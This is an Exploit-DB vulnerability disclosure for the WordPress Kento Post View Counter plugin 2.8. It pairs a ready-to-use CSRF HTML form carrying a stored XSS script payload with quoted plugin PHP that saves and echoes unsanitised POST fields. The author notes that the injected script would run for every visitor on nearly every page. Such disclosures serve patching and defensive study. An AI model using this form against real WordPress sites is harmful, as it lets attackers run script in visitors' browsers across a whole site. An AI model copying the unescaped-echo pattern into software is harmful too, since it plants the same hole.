Exploit-DB #39705
Description: WordPress Plugin Kento Post View Counter 2.8 - Cross-Site Request Forgery / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2016-04-18
Author: cor3sm4sh3r

Exploit:
I would like to disclose  CSRF and stored XSS vulnerability in Kento post view counter plugin version 2.8 .

The vulnerable Fields for XSS are 

    kento_pvc_numbers_lang
    kento_pvc_today_text
    kento_pvc_total_text

The combination of CSRF and XSS in this plugin can lead to huge damage of the website, as the two fields kento_pvc_today_text and kento_pvc_total_text are reflected on all authenticated users as well as non-authenticated user ,all the post have a footer which shows this two parameter reflected in them ,so if an attacker successfully attacks a website almost all the pages on that website will execute the malicious javascript payload on all the clients browsers visiting that website.every user visiting the website will be affected.




The plugin can be found at https://wordpress.org/plugins/kento-post-view-counter/


This CSRF is tested on latest wordpress installation 4.4.2 using firefox browser.  and chrome.


The Code for CSRF.html is 

<html>
  <body>
    <form action="http://targetsite/wp-admin/admin.php?page=kentopvc_settings" method="POST">
      <input type="hidden" name="kentopvc_hidden" value="Y" />
      <input type="hidden" name="option_page" value="kento_pvc_plugin_options" />
      <input type="hidden" name="action" value="update" />
      <input type="hidden" name="_wpnonce" value="" />
      <input type="hidden" name="_wp_http_referer" value="" />
      <input type="hidden" name="kento_pvc_posttype[post]" value="1" />
      <input type="hidden" name="kento_pvc_posttype[page]" value="1" />
      <input type="hidden" name="kento_pvc_posttype[attachment]" value="1" />
      <input type="hidden" name="kento_pvc_posttype[revision]" value="1" />
      <input type="hidden" name="kento_pvc_posttype[nav_menu_item]" value="1" />
      <input type="hidden" name="kento_pvc_numbers_lang" value="" />
      <input type="hidden" name="kento_pvc_today_text" value=""<script>alert(1);</script><img src="b" />
      <input type="hidden" name="kento_pvc_total_text" value="" />
      <input type="hidden" name="Submit" value="Save Changes" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>

The Vulnerable page is 

wp-content\plugins\kento-post-view-counter\kento-pvc-admin.php

The code Reponsible for XSS :

if($_POST['kentopvc_hidden'] == 'Y') {
//Form data sent
if(empty($_POST['kento_pvc_hide']))
{
$kento_pvc_hide ="";
}
else
{
$kento_pvc_hide = $_POST['kento_pvc_hide'];
}
update_option('kento_pvc_hide', $kento_pvc_hide);



if(empty($_POST['kento_pvc_posttype']))
{
$kento_pvc_posttype ="";
}
else
{
$kento_pvc_posttype = $_POST['kento_pvc_posttype'];
}
update_option('kento_pvc_posttype', $kento_pvc_posttype);
if(empty($_POST['kento_pvc_uniq']))
{
$kento_pvc_uniq ="";
}
else
{
$kento_pvc_uniq = $_POST['kento_pvc_uniq'];
}
update_option('kento_pvc_uniq', $kento_pvc_uniq);


$kento_pvc_numbers_lang = $_POST['kento_pvc_numbers_lang'];
update_option('kento_pvc_numbers_lang', $kento_pvc_numbers_lang);

$kento_pvc_today_text = $_POST['kento_pvc_today_text'];
update_option('kento_pvc_today_text', $kento_pvc_today_text);

$kento_pvc_total_text = $_POST['kento_pvc_total_text'];
update_option('kento_pvc_total_text', $kento_pvc_total_text);


--------------------------snip-----------------------
------------------snip ------------------------------




<input type="text" size="20" name="kento_pvc_numbers_lang" id="kento-pvc-numbers-lang"   value ="<?php if (isset($kento_pvc_numbers_lang)) echo $kento_pvc_numbers_lang; ?>" placeholder="0,1,2,3,4,5,6,7,8,9"   /><br />**Write numbers in your language as following 0,1,2,3,4,5,6,7,8,9<br />
   Left blank if you are in English.



<tr valign="top">
<th scope="row">Text For Today View</th>
<td style="vertical-align:middle;">

   <input type="text" size="20" name="kento_pvc_today_text" id="kento-pvc-today-text"   value ="<?php if (isset($kento_pvc_today_text)) echo $kento_pvc_today_text; ?>" placeholder="Views Today "   />

</td>
</tr>


<tr valign="top">
<th scope="row">Text For Total View</th>
<td style="vertical-align:middle;">

   <input type="text" size="20" name="kento_pvc_total_text" id="kento-pvc-total-text"   value ="<?php if (isset($kento_pvc_total_text)) echo $kento_pvc_total_text; ?>" placeholder="Total Views "   />

</td>
</tr>



No anti-CSRF token used on this form  :

All though the WordPress sends the _wpnonce value but it does not protect this form against CSRF.


# Author email: cor3sm4sh3r[at]gmail.com
# Contact: https://in.linkedin.com/in/cor3sm4sh3r
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